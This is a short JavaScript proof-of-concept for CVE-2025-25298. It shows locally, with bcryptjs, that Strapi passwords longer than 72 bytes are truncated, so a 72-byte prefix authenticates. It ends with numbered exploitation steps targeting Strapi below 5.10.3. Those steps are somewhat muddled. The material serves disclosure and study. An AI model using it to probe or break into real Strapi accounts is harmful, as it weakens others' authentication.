CVE-2025-25298

// CVE-2025-25298 PoC - Strapi Password Truncation Vulnerability // Demonstrates how bcryptjs silently truncates passwords beyond 72 bytes const bcrypt = require('bcryptjs'); async function demonstrateTruncation() { // Create a password longer than 72 bytes const longPassword = 'A'.repeat(72) + 'EXTRA_SECRET_SUFFIX_DATA'; // Create the same password but only the first 72 bytes const truncatedPassword = 'A'.repeat(72); console.log('Long password length:', Buffer.byteLength(longPassword)); console.log('Truncated password length:', Buffer.byteLength(truncatedPassword)); // Hash the long password (Strapi's vulnerable behavior) const hash1 = await bcrypt.hash(longPassword, 10); console.log('Hash of long password:', hash1); // Hash the truncated password const hash2 = await bcrypt.hash(truncatedPassword, 10); console.log('Hash of truncated password:', hash2); // Verify: long password matches with truncated version const match1 = await bcrypt.compare(truncatedPassword, hash1); console.log('Truncated password matches hash of long password:', match1); // Expected: true - proving the truncation vulnerability // Simulate Strapi registration with long password console.log('\n--- Simulating Strapi Registration ---'); const userInputPassword = 'MySecureP@ssw0rd' + 'X'.repeat(60); // > 72 bytes const storedHash = await bcrypt.hash(userInputPassword, 10); console.log('User registered with password length:', Buffer.byteLength(userInputPassword)); console.log('Stored hash:', storedHash); // Attacker only needs first 72 bytes to authenticate const attackerPassword = userInputPassword.substring(0, 72); const authResult = await bcrypt.compare(attackerPassword, storedHash); console.log('Attacker authentication with truncated password:', authResult); // Expected: true - vulnerability confirmed } demonstrateTruncation().catch(console.error); // Exploitation steps for CVE-2025-25298: // 1. Identify a Strapi instance running version < 5.10.3 // 2. Register a new account with a password > 72 bytes // 3. The system stores hash based only on first 72 bytes // 4. Authentication only requires the first 72 bytes // 5. Effective password entropy is reduced

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